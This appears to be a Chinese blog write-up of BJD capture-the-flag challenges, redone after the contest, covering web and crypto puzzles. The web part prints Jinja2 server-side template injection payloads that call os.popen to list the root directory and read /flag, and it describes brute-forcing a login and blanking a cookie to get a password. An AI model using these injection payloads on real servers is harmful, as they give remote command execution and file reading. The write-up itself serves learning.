总结
还是主要是以复现为主的。毕竟只A了两题?
然后欣喜的发现比完赛题目还没关
认认真真把题目都日(复现)一遍
WEB
fake google
题目
解决方案
先是猜注入,找到提示类型为SSTI
<!--ssssssti & a little trick --> P3's girlfirend is : <br><hr>
使用payload,作用是在根目录遍历目录输出,其中popen填入Linux命令。
?name={{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}
找到flag在根目录,提取文件。
?name={{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
我复现做到这里的时候已经可以得到flag了。
但是看官方wp,比赛时对BJD做了过滤,对返回的字符串使用了切片操作过滤。
Schrödinger
题目
解决方案
看源代码,复现里,这行白字我是没有注意到的。
查看一下这个php,是一个登录框。
那么就显而易见是这个网站来fuck了。
输入到框中进行爆破,成功率涨的很慢,查看Cookie,发现有一个base64编码的Cookie,将其置空,成功获得密码。
在B站搜索AV账号,在评论区得到flag。
elementmaster
题目
解决方案
根据官方wp hint:
门捷列夫发现了元素周期表,而且漫画的图片文件名也叫 mendeleev.jpg,所以题目在暗示元素周期表相关。漫画上,右下角小人说它是全部 118 元素的 Master,还画着俄罗斯国旗、写着门捷列夫的俄文名,所以他就是门捷列夫。
——源自官方wp
查看源码,发现p标签ID:
字符串拼接,将十六进制转化为字符串:
import binascii
def hex_to_string(hex_string):
return binascii.unhexlify(hex_string.encode('utf-8')).decode('utf-8')
print(hex_to_string('506F2E706870'))
得到输出Po.php并访问。
访问后的网站没有404,只得到了一个点。
后面脑洞就比较牛逼了……写了元素周期表的脚本,一个个运行run一遍。
得到的输出就是flag的地址了,即可找到flag。
其实操作起来还是蛮简单的也并不难,做出来的也不多,可能是脑洞太大了?
CRYPTO
签到
题目
解决方案
简单的BASE64解码。
老文盲了
题目
解决方案
下载附件
放到Google翻译一下
读出来就是
BJD{这就是flag}
结合hint,拼一下就是
BJD{淛匶襫黼瀬鎶軄鶛驕鳓哵}